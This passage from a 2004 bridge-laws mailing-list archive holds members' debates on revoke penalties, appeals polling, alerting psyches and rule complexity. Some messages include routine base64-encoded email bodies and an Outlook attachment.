*slight* > inequity to the OS. > > Therefore, I recommend that the WBF LC Drafting > Sub-Committee consider restoring the 1975-1987 > revoke rules in 2006. > > Best wishes > > RJH > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From ljtrent@adelphia.net Fri Jul 9 23:38:16 2004 From: ljtrent@adelphia.net (Linda Trent) Date: Fri, 9 Jul 2004 15:38:16 -0700 Subject: [blml] Individual movements In-Reply-To: <002501c46581$70a27ca0$9423b5d4@swipnet.se> Message-ID: Have been unable after a couple of quick on-line searches to find this book -- is it understandable or will it look like Greek to me? thanks again Linda >>Hans-Olof Hallén >>Sent: Thursday, July 08, 2004 11:53 PM >>To: blml@rtflb.org >>Subject: [blml] Individual movements >> >> >>I recommend Linda to read the book "Movements". There is a >>summary on page 395f for all number of players. If you want >>more information you can mail me at >>hans-olof.hallen@bolina.hsb.se >> >>Yours etc >> >>Hans-Olof Hallén --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.716 / Virus Database: 472 - Release Date: 7/5/2004 From mamos@blueyonder.co.uk Sat Jul 10 12:06:47 2004 From: mamos@blueyonder.co.uk (mamos@blueyonder.co.uk) Date: Sat, 10 Jul 2004 12:06:47 +0100 Subject: [blml] Director, darling! Message-ID: <3AF11223744D474A98538AF2B086AC6202533F5A@ECOWV06M.Telewest.Internal> SXZlIGFsd2F5cyBiZWVuIGluIGZhdm91ciBvZiBiYXB0aXNtIG9mIGluZmFudHMgYnkgdG90YWwg aW1tZXJzaW9uDQpTYXZlIHRoZWlyIHNvdWxzIGFuZCBnZXQgcmlkIG9mIHRoZSBsaXR0bGUgYipn Zypycw0KIA0KR3Jvd2wgZ3Jvd2wNCk1pa2UNCg0KCS0tLS0tT3JpZ2luYWwgTWVzc2FnZS0tLS0t IA0KCUZyb206IGJsbWwtYWRtaW5AcnRmbGIub3JnIG9uIGJlaGFsZiBvZiBKb2huIChNYWREb2cp IFByb2JzdCANCglTZW50OiBUaHUgNy84LzIwMDQgNDo0OSBBTSANCglUbzogYmxtbEBydGZsYi5v cmcgDQoJQ2M6IA0KCVN1YmplY3Q6IFJlOiBbYmxtbF0gRGlyZWN0b3IsIGRhcmxpbmchDQoJDQoJ DQoNCglJbiBhcnRpY2xlIDw2NEZBOTcwMy1EMDkwLTExRDgtODBCOC0wMDMwNjU2RjY4MjZAcm9j aGVzdGVyLnJyLmNvbT4sIEVkDQoJUmVwcGVydCA8ZXJlcHBlcnRAcm9jaGVzdGVyLnJyLmNvbT4g d3JpdGVzDQoJPg0KCT5PbiBXZWRuZXNkYXksIEp1bCA3LCAyMDA0LCBhdCAyMzowOCBVUy9FYXN0 ZXJuLCBKb2huIChNYWREb2cpIFByb2JzdA0KCT53cm90ZToNCgk+DQoJPj4gT01HLCBJIGhhdGUg Y2hpbGRyZW4sIHRoZXkgc2hvdWxkIGJlIHN0dWNrIGluIGEgYmFycmVsIGFuZCBmZWQgdGhyb3Vn aA0KCT4+IHRoZSBidW5nLWhvbGUgZnJvbSBiaXJ0aC4gQXQgYWJvdXQgYWdlIDE3IEkgcmVjb21t ZW5kIGRyaXZpbmcgaW4gdGhlDQoJPj4gY29yay4NCgk+DQoJPlcuQy4gRmllbGRzLCBpaXJjLiA6 LSkNCgkNCgl5ZXANCgk+DQoJPg0KCT5fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fXw0KCT5ibG1sIG1haWxpbmcgbGlzdA0KCT5ibG1sQHJ0ZmxiLm9yZw0KCT5o dHRwOi8vd3d3LmFtc3RlcmRhbW5lZC5vcmcvbWFpbG1hbi9saXN0aW5mby9ibG1sDQoJDQoJLS0N CglKb2huIChNYWREb2cpIFByb2JzdHwgICAgICAuICEgICAgIC1eLSAgfEFJTSBHTENoaWVuRm91 DQoJNDUxIE1pbGUgRW5kIFJvYWQgICB8ICAgICAvfF9fLiAgICBcOi8gIHxCQ0xpdmUgQ2hpZW5G b3UNCglMb25kb24gRTMgNFBBICAgICAgIHwgICAgLyBAIF9fKSAgIC18LSAgfGpvaG5AYXNpbWVy ZS5jb20NCgkrNDQtKDApMjAgODk4MyA1ODE4IHwgICAvXCAgIC0tXiAgICB8ICAgfHd3dy5hc2lt ZXJlLmNvbS9+am9obg0KCQ0KCV9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fDQoJYmxtbCBtYWlsaW5nIGxpc3QNCglibG1sQHJ0ZmxiLm9yZw0KCWh0dHA6Ly93 d3cuYW1zdGVyZGFtbmVkLm9yZy9tYWlsbWFuL2xpc3RpbmZvL2JsbWwNCgkNCgkNCgkNCg0K From swillner@cfa.harvard.edu Sat Jul 10 17:28:05 2004 From: swillner@cfa.harvard.edu (Steve Willner) Date: Sat, 10 Jul 2004 12:28:05 -0400 Subject: [blml] Reno regional appeal number four In-Reply-To: <200407072121.i67LLw6x008401@cfa.harvard.edu> References: <200407072121.i67LLw6x008401@cfa.harvard.edu> Message-ID: <40F01915.4020001@cfa.harvard.edu> From: "John (MadDog) Probst" [after 1S-3D-3S-P-?, MP, Both] > Pass over 3S is not even a remote possibility. It's a six > loser hand, just for starters (AKJxx QTxx KJxx x). > how STUPID can some people get? Guess you have to put me down as one of the stupid passers. This hand is going to play horribly with the diamond length on the left, and partner hasn't promised much more than an 8-count. Some days he will be stuck for a bid and will raise with a doubleton. With a max invitation, partner should have bid game himself. And if you are determined to bid game -- perhaps you play extremely light openings -- surely 3NT is superior to a direct 4S. Of course if the 3S bid is immediate (no 10-s pause), 4S looks a lot better. What this really shows is the importance of consulting before making a judgment decision. From: richard.hills@immi.gov.au > It seems to me that the appeals panel had a peculiar > reason for overturning the director's decision - they > apparently did not like the result of the director's > poll, so the appeals panel conducted another poll. Not liking the result is a very good reason for conducting another poll. The AC is supposed to exercise bridge judgment. If the TD's poll result is contrary to the AC's judgment, the AC is right to be suspicious and check further. > What if the samples of the polls had been reversed, > with the TD hypothetically polling the actual panel > sample, and with the panel hypothetically polling the > actual TD sample? If the TD's poll had produced the result the AC expected and agreed with, I doubt they would have conducted a second poll. In this case, had the TD reached the opposite decision, quite likely there would have been no appeal. > Why should a ruling depend upon the chronological > sequence of two random samples? Who says it does? And who says the samples were random? It seems more likely to me the TD either polled some very strange players or biased them in some way. The AC, realizing the TD's poll sample showed bad judgment, went out of their way to poll more players. They could equally well have just overruled the TD, poll or no poll, but that might have left them open to criticism on process grounds. From swillner@cfa.harvard.edu Sat Jul 10 17:35:45 2004 From: swillner@cfa.harvard.edu (Steve Willner) Date: Sat, 10 Jul 2004 12:35:45 -0400 Subject: [blml] Interpretation In-Reply-To: <200407072121.i67LLEt3008362@cfa.harvard.edu> References: <200407072121.i67LLEt3008362@cfa.harvard.edu> Message-ID: <40F01AE1.10802@cfa.harvard.edu> From: "John (MadDog) Probst" [when declarer's card is played] > I've TD'd just the 65,000 tables, and I have *never* once been in doubt. > Kojak is right. WHY are we discussing this? cheers john Do you and Kojak draw the line in the same place? How about a typical club director, who hasn't been on a training weekend in the last decade? I'm not concerned with borderline cases, where you yourself might rule differently on different days of the week, but if different TD's have grossly different standards for deciding when a card is played -- as seems to be the case -- that will lead to a perception of unfairness. I'm not sure this has to go in the Laws, but at least there should be guidance from NCBO's. From swillner@cfa.harvard.edu Sat Jul 10 17:42:52 2004 From: swillner@cfa.harvard.edu (Steve Willner) Date: Sat, 10 Jul 2004 12:42:52 -0400 Subject: [blml] A player's view In-Reply-To: <200407072120.i67LKj1B008326@cfa.harvard.edu> References: <200407072120.i67LKj1B008326@cfa.harvard.edu> Message-ID: <40F01C8C.4050600@cfa.harvard.edu> From: "John (MadDog) Probst" > Good games have complex rules. Sorry, John, but I entirely disagree with this, though I suppose it's a matter of taste. In my view, good games have simple rules that lead to complex positions. The rules of bridge are inherently pretty simple, and making them more complex to make the game "fairer" is not progress. From john@asimere.com Sat Jul 10 18:00:05 2004 From: john@asimere.com (John (MadDog) Probst) Date: Sat, 10 Jul 2004 18:00:05 +0100 Subject: [blml] A player's view In-Reply-To: <40F01C8C.4050600@cfa.harvard.edu> References: <200407072120.i67LKj1B008326@cfa.harvard.edu> <40F01C8C.4050600@cfa.harvard.edu> Message-ID: In article <40F01C8C.4050600@cfa.harvard.edu>, Steve Willner writes >From: "John (MadDog) Probst" >> Good games have complex rules. > >Sorry, John, but I entirely disagree with this, though I suppose it's a >matter of taste. In my view, good games have simple rules that lead to >complex positions. Nonetheless Steve, I think we are fundamentally in agreement. Most "good games" have rules for correct procedure that are inherently pretty simple. As soon as you get a game which requires human judgement as to whether the correct procedure has been adopted, then you get byzantine complexity creeping in. Bridge has had about 100 years of this. > >The rules of bridge are inherently pretty simple, and making them more >complex to make the game "fairer" is not progress. > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Sat Jul 10 18:08:13 2004 From: john@asimere.com (John (MadDog) Probst) Date: Sat, 10 Jul 2004 18:08:13 +0100 Subject: [blml] Interpretation In-Reply-To: <40F01AE1.10802@cfa.harvard.edu> References: <200407072121.i67LLEt3008362@cfa.harvard.edu> <40F01AE1.10802@cfa.harvard.edu> Message-ID: In article <40F01AE1.10802@cfa.harvard.edu>, Steve Willner writes >From: "John (MadDog) Probst" >[when declarer's card is played] >> I've TD'd just the 65,000 tables, and I have *never* once been in doubt. >> Kojak is right. WHY are we discussing this? cheers john > >Do you and Kojak draw the line in the same place? To be fair we've never discussed it. We'd certainly only be able to agree if we played the movie to each other a couple of dozen times, discussing where and when it became played and why. Equally I don't think I've ever formally discussed it with the other EBU TD's, but if you were to show us the 2 dozen movies and ask us to mark them I'm sure we'd all be pretty much in agreement. More so if you gave us a few minutes to refresh and discuss how we're interpreting the Law. > How about a typical >club director, who hasn't been on a training weekend in the last decade? > I'm not concerned with borderline cases, where you yourself might rule >differently on different days of the week, but if different TD's have >grossly different standards for deciding when a card is played -- as >seems to be the case -- that will lead to a perception of unfairness. I agree with this, and I'm certain that given a TD who had actually read the law the disparity shouldn't be too great. I'm excluding TD's who make what are clearly illegal rulings. > >I'm not sure this has to go in the Laws, but at least there should be >guidance from NCBO's. This needs to apply to all laws where judgement is to be exercised. ne? > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From nsousa@fc.up.pt Wed Jul 7 10:16:25 2004 From: nsousa@fc.up.pt (Nuno Miguel Marques de Sousa) Date: Wed, 7 Jul 2004 10:16:25 +0100 Subject: [blml] Balance of probabilities Message-ID: <47267B7CF730F440AD5A5932EE66748A14CFF4@MAIL.fc.up.pt> This is a multi-part message in MIME format. ------_=_NextPart_001_01C46403.13AF5B28 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Re: [blml] Balance of probabilities >> WEST NORTH EAST SOUTH >> --- Pass 1D(1) Pass >> 1H(2) Pass 2C(3) Pass >> 2D(4) Pass Pass ? > >[East shows 4 diamonds, 5+ clubs, 10-14, West shows heart suit and = diamond >preference] >> >> You, South, hold: >> >> AK732 >> 5 >> T854 >> 875 >> >> What call do you make? > >I know there are some conservatives who disapprove... but I overcalled = 1S >on the first round, and my partner has decided whether or not to raise = on >the second round. [Bluejak] You are at Green, opposite a passed partner. What is wrong with 2S first round? [Nuno Sousa] Basically, the hand has a very low offense-defense-ratio (ODR). 2 tricks = defending, 2-3 tricks playing spades, a difference that should be = considerably higher. Bidding 1S is enough. It's lead-directing, shuts = out the heart suit, and should be fairly safe. 2S bothers a lot more, = but is more risky (bad intermediates, bad playing strenght - penalty = pass much more likely) and may induce partner into taking a phantom save = over 4H. ------_=_NextPart_001_01C46403.13AF5B28 Content-Type: application/ms-tnef; name="winmail.dat" Content-Transfer-Encoding: base64 eJ8+IhoJAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAEIgAcAGAAAAElQTS5NaWNy b3NvZnQgTWFpbC5Ob3RlADEIAQ2ABAACAAAAAgACAAEEgAEAJAAAAFJlOiBbYmxtbF0gQmFsYW5j ZSBvZiBwcm9iYWJpbGl0aWVzALQMAQWAAwAOAAAA1AcHAAcACgAQABkAAwAfAQEggAMADgAAANQH BwAHAAoAEAAZAAMAHwEBCYABACEAAAA2MDI2QTczNzQ0NjRBODQzQTRCMDBGNkRENTJGNzY4OAAH BwEDkAYAlAoAADcAAAADACYAAAAAAAMANgAAAAAAQAA5AChbrxMDZMQBHgA9AAEAAAAFAAAAUmU6 IAAAAAACAUcAAQAAACoAAABjPXVzO2E9IDtwPUZDVVA7bD1NQUlMLTA0MDcwNzA5MTYyNVotMjI3 NwAAAB4ASQABAAAAIwAAAGJsbWwgZGlnZXN0LCBWb2wgMSAjMTQ3OCAtIDEyIG1zZ3MAAEAATgCA smWNIBzEAR4AWgABAAAAFQAAAGJsbWwtYWRtaW5AcnRmbGIub3JnAAAAAAIBWwABAAAARwAAAAAA AACBKx+kvqMQGZ1uAN0BD1QCAAAAAGJsbWwtYWRtaW5AcnRmbGIub3JnAFNNVFAAYmxtbC1hZG1p bkBydGZsYi5vcmcAAAIBXAABAAAAGgAAAFNNVFA6QkxNTC1BRE1JTkBSVEZMQi5PUkcAAAAeAF0A AQAAABcAAABibG1sLXJlcXVlc3RAcnRmbGIub3JnAAACAV4AAQAAAEsAAAAAAAAAgSsfpL6jEBmd bgDdAQ9UAgAAAABibG1sLXJlcXVlc3RAcnRmbGIub3JnAFNNVFAAYmxtbC1yZXF1ZXN0QHJ0Zmxi Lm9yZwAAAgFfAAEAAAAcAAAAU01UUDpCTE1MLVJFUVVFU1RAUlRGTEIuT1JHAB4AZgABAAAABQAA AFNNVFAAAAAAHgBnAAEAAAAVAAAAYmxtbC1hZG1pbkBydGZsYi5vcmcAAAAAHgBoAAEAAAAFAAAA U01UUAAAAAAeAGkAAQAAABcAAABibG1sLXJlcXVlc3RAcnRmbGIub3JnAAAeAHAAAQAAACMAAABi bG1sIGRpZ2VzdCwgVm9sIDEgIzE0NzggLSAxMiBtc2dzAAACAXEAAQAAABsAAAABxBwgtOYKTVIJ 4ZFPCom0mo1S7DAyEfiPN2IAHgB0AAEAAAAPAAAAYmxtbEBydGZsYi5vcmcAAB4AGgwBAAAAHQAA AE51bm8gTWlndWVsIE1hcnF1ZXMgZGUgU291c2EAAAAAHgAdDgEAAAAgAAAAW2JsbWxdIEJhbGFu Y2Ugb2YgcHJvYmFiaWxpdGllcwACAQkQAQAAAN0DAADZAwAAwAUAAExaRnWgL6jTAwAKAHJjcGcx MjXiMgNDdGV4BUEBAwH3/wqAAqQD5AcTAoAP8wBQBFY/CFUHshElDlEDAQIAY2jhCsBzZXQyBgAG wxEl9jMERhO3MBIsETMI7wn3tjsYHw4wNREiDGBjAFBzCwkBZDM2FlALpgfwZQg6IFsCYG1sXSAG QgdAAHBjZSBvZjQgcANgYgGgAxBpdB0IkHMKogqECoA+PiAgV0VTVCAgU05PSFJUSCBTRUEgNlNs T1Ug4B+HLSLQIFQgDFBhBBEgUzFEKDGGKSMnH4cxSCgyJFhhIFQyQygzJF8f8DJtJCA0Jc4jeD8f hR+FW4ZFI4AFQHNob3cEIBg0IGQHMARgbmRzQCwgNSsgYwpAYkEsUTEwLTE0LGBXsweQK0ZoZQrA K0F1HtD6IABwZCvWH4UeUAEQBJDbCfAd8F0fhh+HWQhgLGAyUwhgdGgsYCtwbGTCOjDPQUs3Mw5Q H5ZCNR+HVDg1NB+HON43NNcfiBPgBUBjB0ADIFBkbyB5CGAgAMBrQmUqHUkga24rgCDvMlAwUS7g OmFzA3AeAAWgSwCABJB2N6BpdgeRd2MrcCvRc2FwHlE7wC5pPOAgYjJAIDnAPLFydzfSCYAkAFMf hQIgOiIg3GZpFAAFQANgdSwwLGDZLvJteR5ALmFuEoET4PsEIAWBaQEALxA8ABQgOkGvHhAFwDnw BUB0ODByC3D/FBAeEAuQH5Q+8hQQOyEvEKU/ky4fKltCCkFqOKBvMLUx0TqDN6FHCdIsYG/9PIBv AJAOsC7gQGEEED4BP0B1PQA3dAQAO/ADYG5n+zvwHtBoJrA+RT85KhVFNf5OP7A4MDIhPGAwtR2g DdH9N+F5LGA+8hPgLwFA8kgwfz2RQFAXsAfgHiAwQDtBLR8BAVATQtAe4DgwKE9ELFIpPQAUQHQF EGNrH0ESUAEr4EoQLGAyLTP7UcYLUXlSoStQCrABACxRf0gwK+BP8TBjOiE3oSthdX8ysD0QOwRB YULQAmBAUGjsaWc6QT0AQkFgUpI+IR9JognwCGBXUD0ASXQn/wQgPfBUQFBQP0AFkB7gUrL/K2Ay QAQgMjFOVC5XP+RVyPpmC3ByVwE8YDBAUZEF8P8G4DoyTxIXsAVABGAYICxgXz0iSbFewj+ABABr QFAo7x6ALxALgA6wcgeAK+EOsP8sUWBSU6dR0AnwV1AFQCLwtnAJ8AdAdEBSBBFtGtD/SnBfkx7A OLBOICcAQANTwP1ggWQa0B4AQHZgkTgwAZDea1PiSDFOoUKgbV1BO8ArPXMrsEhExX1o8AAAAB4A NRABAAAANwAAADw0NzI2N0I3Q0Y3MzBGNDQwQUQ1QTU5MzJFRTY2NzQ4QTE0Q0ZGNEBNQUlMLmZj LnVwLnB0PgAAHgBHEAEAAAAPAAAAbWVzc2FnZS9yZmM4MjIAAAsA8hABAAAAHwDzEAEAAABUAAAA UgBlACUAMwBBACAAWwBiAGwAbQBsAF0AIABCAGEAbABhAG4AYwBlACAAbwBmACAAcAByAG8AYgBh AGIAaQBsAGkAdABpAGUAcwAuAEUATQBMAAAACwD2EAAAAABAAAcwVHG88QJkxAFAAAgwHEe7EwNk xAEDAN4/r28AAAMA8T8JBAAAHgD4PwEAAAAdAAAATnVubyBNaWd1ZWwgTWFycXVlcyBkZSBTb3Vz YQAAAAACAfk/AQAAAFoAAAAAAAAA3KdAyMBCEBq0uQgAKy/hggEAAAAAAAAAL089RkNVUC9PVT1G SVJTVCBBRE1JTklTVFJBVElWRSBHUk9VUC9DTj1SRUNJUElFTlRTL0NOPU5TT1VTQQAAAB4A+j8B AAAAFQAAAFN5c3RlbSBBZG1pbmlzdHJhdG9yAAAAAAIB+z8BAAAAHgAAAAAAAADcp0DIwEIQGrS5 CAArL+GCAQAAAAAAAAAuAAAAAwD9P+QEAAADABlAAAAAAAMAGkAAAAAAAwAdQAAAAAADAB5AAAAA AB4AMEABAAAABwAAAE5TT1VTQQAAHgAxQAEAAAAHAAAATlNPVVNBAAAeADJAAQAAABUAAABibG1s LWFkbWluQHJ0ZmxiLm9yZwAAAAAeADNAAQAAABcAAABibG1sLXJlcXVlc3RAcnRmbGIub3JnAAAe ADhAAQAAAAcAAABOU09VU0EAAB4AOUABAAAAAgAAAC4AAAALACkAAAAAAAsAIwAAAAAAAwAGEPZp NvUDAAcQCgMAAAMAEBAAAAAAAwAREAEAAAAeAAgQAQAAAGUAAABSRTpCTE1MQkFMQU5DRU9GUFJP QkFCSUxJVElFU1dFU1ROT1JUSEVBU1RTT1VUSC0tLVBBU1MxRCgxKVBBU1MxSCgyKVBBU1MyQygz KVBBU1MyRCg0KVBBU1NQQVNTP0VBU1RTAAAAAAIBfwABAAAANwAAADw0NzI2N0I3Q0Y3MzBGNDQw QUQ1QTU5MzJFRTY2NzQ4QTE0Q0ZGNEBNQUlMLmZjLnVwLnB0PgAAAqI= ------_=_NextPart_001_01C46403.13AF5B28-- From richard.hills@immi.gov.au Sun Jul 11 23:58:02 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 12 Jul 2004 08:58:02 +1000 Subject: [blml] A player's view Message-ID: Kojak: [snip] >>I reject the idea that a legitimate reason for >>doing less-than-the-best is that it takes time. >>It does require knowledge, intelligence, and >>desire to do things right. >> >>=K= Otto von Bismarck (1815 - 1898): >Laws are like sausages. It's better not to see >them being made. Richard Hills: I reject the idea that the WBF LC Drafting Sub- Committee would even contemplate abolishing Laws 64A and 64B - retaining only 64C - in the 2006 edition of the Lawbook. Having *every* revoke resolved by an equity adjustment would indeed require knowledge, intelligence, and desire to do things right. But, in my opinion, such an idea is illegitimate, since the time wasted by players and TDs would unnecessarily prolong bridge sessions for a mere minor addition to equity for the offending side. Best wishes RJH From richard.hills@immi.gov.au Sun Jul 11 23:22:43 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 12 Jul 2004 08:22:43 +1000 Subject: [blml] Individual movements Message-ID: >Have been unable after a couple of quick on-line >searches to find this book -- is it understandable >or will it look like Greek to me? > >thanks again >Linda A description of "Movements - A Fair Approach" is at: http://www.bridgeshop.com.au/hal001.htm A free copy of "Bridge Directing Complete" (which contains many Individual movements) can be downloaded from: http://www.asecomputing.com/download.htm Best wishes Richard Hills From richard.hills@immi.gov.au Mon Jul 12 07:07:48 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 12 Jul 2004 16:07:48 +1000 Subject: [blml] Balance of probabilities Message-ID: Walt: [snip] >The one I really remember occurred in the >Gatlinburg Regional about 1996: he passed a >forcing bid when we were cold for 5D; he was >right, though, there was no way we could have >stopped short of six and we picked up a few >IMPs because our opponents were in 6D down >one. > >I believe I have been wrong in the case of >the last partner mentioned and I should alert >his passes in forcing sequences (due to >partnership experience). I have never thought >about it in this depth before. > >I still believe in the cases where my other >partners pass and I believe they have been >taking a nap and blown the auction that we >have fully disclosed the system and anyone >who can't work out that it (1S-2C, P) is a >blown auction and pass is not entitled to >have it pointed out to them. > >In your case it seems that partnership >experience tells you that partner has psyched >and I believe that this makes the call >alertable. > >I'll be interested to hear any comments. RJH: Most Alert regs include a catch-all requirement to alert something that the opponents will not expect. Therefore, in ACBL-land, because psyches are unexpected (due to official discouragement of them for thirty-odd years), any call which - by implicit partnership agreement - suggests that pard has psyched, should be alerted. Likewise, ACBL-land follows in the Goren-Rubens tradition of avoiding backing your judgment by deliberately passing a forcing bid. Therefore, I agree with Walt that he should alert passes of forcing bids by his Gatlinburg partner. Indeed, if I partnered Walt's Gatlinburg partner, I would go further, and *pre-alert* all opponents to the Gatlinburger style. I believe that the pre-alert is necessary to avoid damaging those opponents who may intend to greedily lurk before unleashing a penalty double, because they "know" that the auction is "forcing". Of course, in MadDog-land, psyches are expected, so any non-psyche from Probst should be alerted. :-) Best wishes Richard Hills From richard.hills@immi.gov.au Mon Jul 12 08:00:57 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 12 Jul 2004 17:00:57 +1000 Subject: [blml] A player's view Message-ID: Roger Pewick: [big snip] >Such players have a real edge over the ones >that play by the 'rules'. Meaning that since >it is in the rules it can be exploited. > >* for instance, consider the information from >the action itself; also, information from the >opponents' reactions >** I have witnessed declarers acting out of >turn three times to the same trick, not to >mention ten times in the course of a hand Richard Hills: My support for the post-1987 Lawful generosity to a declarer's PLOOT is based upon the fact that pre-1987 I observed many LOLs having an occasional senior moment, so occasionally choosing a card from the wrong hand. On the other hand, because I am alert (but not alarmed), my PLOOTs are a once-in-a-decade accident. The Laws of Bridge should be designed for the vast majority. And the vast majority of the PLOOTers are LOLs. Of course, there are a small minority of evil players who deliberately perpetrate Alcatraz Coups, infracting Law 72B2, "A player must not infringe a law intentionally, even if there is a prescribed penalty he is willing to pay." But, in my opinion, one should not penalise all forgetful LOLs merely to stop a minority of villains from using one of their many possible cheating options. Best wishes RJH From schoderb@msn.com Mon Jul 12 12:20:57 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Mon, 12 Jul 2004 07:20:57 -0400 Subject: [blml] A player's view References: Message-ID: So do I. But then you weren't disagreeing with me, I guess. =K= ----- Original Message ----- From: To: Sent: Sunday, July 11, 2004 6:58 PM Subject: Re: [blml] A player's view > > > > > Kojak: > > [snip] > > >>I reject the idea that a legitimate reason for > >>doing less-than-the-best is that it takes time. > >>It does require knowledge, intelligence, and > >>desire to do things right. > >> > >>=K= > > Otto von Bismarck (1815 - 1898): > > >Laws are like sausages. It's better not to see > >them being made. > > Richard Hills: > > I reject the idea that the WBF LC Drafting Sub- > Committee would even contemplate abolishing Laws > 64A and 64B - retaining only 64C - in the 2006 > edition of the Lawbook. > > Having *every* revoke resolved by an equity > adjustment would indeed require knowledge, > intelligence, and desire to do things right. > > But, in my opinion, such an idea is illegitimate, > since the time wasted by players and TDs would > unnecessarily prolong bridge sessions for a mere > minor addition to equity for the offending side. > > Best wishes > > RJH > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From nigel.guthrie@ntlworld.com Mon Jul 12 03:12:35 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 12 Jul 2004 03:12:35 +0100 Subject: [blml] Reno regional appeal number four References: <000001c462d8$713a7150$6900a8c0@WINXP> <011501c46341$c2382520$279868d5@jeushtlj> <003c01c46380$1184dc20$469868d5@jeushtlj> Message-ID: <00d401c46817$cc67aea0$669868d5@jeushtlj> [WILLIAM SCHODER] Does SCHRODER mean to be SCHODER? [Nigel] Yes, Sorry. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 From mfrench1@san.rr.com Mon Jul 12 18:29:01 2004 From: mfrench1@san.rr.com (Marvin French) Date: Mon, 12 Jul 2004 10:29:01 -0700 Subject: [blml] Reno regional appeal number four References: <200407072121.i67LLw6x008401@cfa.harvard.edu> <40F01915.4020001@cfa.harvard.edu> Message-ID: <002601c46836$e7e9d300$6401a8c0@san.rr.com> From: "Steve Willner" (snip of good stuff) Richard Hills: > > Why should a ruling depend upon the chronological > > sequence of two random samples? > > Who says it does? And who says the samples were random? It seems more > likely to me the TD either polled some very strange players or biased > them in some way. The AC, realizing the TD's poll sample showed bad > judgment, went out of their way to poll more players. They could > equally well have just overruled the TD, poll or no poll, but that might > have left them open to criticism on process grounds. Besides the small sample size, polls mean very little because they do not address the degree of aggressiveness/passivity of the players involved, nor their use of body language. Besides, a true "peer" would have to be a clone. TDs/ACs would be hard put to find a peer of mine, for I am peerless! :)) The cards themselves usually reveal more than a poll (or possibly-biased testimony) does. Anyone who bids fast with that hand probably bids slowly with a weaker raise, and no poll can bring that out. With no hard evidence to the contrary, the TD/AC should assume that this pair raises aggressively at the three level (as many do, actually), but with slow tempo. Now, suppose they could produce system notes that said three-level raises in competition must be very sound. That would be "hard evidence," and I would allow the 4S bid. Had I been polled, I would have said that it would not occur to me to bid 4S, especially opposite a quick-tempo raise. Marv Marvin L. French San Diego, California From mfrench1@san.rr.com Mon Jul 12 18:46:40 2004 From: mfrench1@san.rr.com (Marvin French) Date: Mon, 12 Jul 2004 10:46:40 -0700 Subject: [blml] The Future of ACBL Casebooks References: Message-ID: <003f01c46838$4e19fdc0$6401a8c0@san.rr.com> >From Linda Trent: > > >>There was the case once in which a lady pro, embarrassed by > >>a meritless > >>appeal that her client insisted on, asked that the case not > >>be published > >>in the DB. Since the case had no interest at all, omitting > >>it was not a > >>great crime. It was in the casebook, of course. > >> >> > > That never happened --- if the lady pro was so embarrassed > she should have insisted the appeal not be brought. She probably did, in vain. It is difficult for a pro to risk losing a determined client by refusing to participate in an appeal > I think i know the exact appeal you mean. Rich or I would > not allow that to happen. She could ask all she wanted > and we would have ignored her. > > Any appeal that didn't appear was a matter of me getting > the appeal write-ups through the process and having a > couple days to enjoy playing bridge. > Perhaps I have misremembered a conversation at the time with you or Rich or "the lady involved." If so, sorry, but it seems unlikely that I would dream it up. What seems likely is that she made the request, which was ignored, and the case did not appear in the DB for reasons you give. Marv Marvin L. French San Diego, California . From richard.hills@immi.gov.au Mon Jul 12 23:16:14 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 13 Jul 2004 08:16:14 +1000 Subject: [blml] A player's view Message-ID: Steve Willner revealed: [snip] >>>>In my view, good games have simple rules that lead to >>>>complex positions. >>>> >>>>The rules of bridge are inherently pretty simple, and >>>>making them more complex to make the game "fairer" is >>>>not progress. Kojak asserted: >>>I can't help thinking of golf, at its various levels of >>>play and expertise, while reading this. Seems to me >>>their rule book is a lot thicker than our Law book. And, >>>I fully agree that the bridge lawyers have an advantage - >>>as did Tiger Woods when he got a small army to help him >>>move a big rock. >>> >>>=K= The Royal and Ancient website: >>As independent bodies The Royal and Ancient and the United >>States Golf Association have worked closely together since >>1952 to produce a uniform code of rules so that wherever >>the game is played the same laws apply. >> >>Every four years the two governing bodies agree any >>necessary amendments or clarifications and the main thrust >>of their work is in reviewing, revising and clarifying the >>rules so that they can be more easily understood and >>applied. >> >>Because of the complex nature of the game, one small change >>in the rules is rather like altering the shape of one piece >>of a jig-saw puzzle, affecting all the pieces that touch it. >> >>Proposed changes are discussed in detail with golf >>authorities in all parts of the world and when the R&A and >>USGA make their final decisions there has to be complete >>agreement on both sides. The abiding principle is always >>"are they for the good of the game?" >> >>Suggestions for simplifying the rules or making them more >>fair are always welcomed by the R&A. Edward Tenner, Why Things Bite Back, pages 247 and 250: >The 120-plus pages of The Rules of Golf are a paradox. >Despite their scrutiny of equipment, the USGA and its >Scottish partner, the Royal and Ancient Golf Club of St. >Andrews, are astonishingly liberal about the design of >courses. The hole must be a standard 4.25 inches (108mm) in >diameter and at least 4 inches (100mm) deep, but otherwise 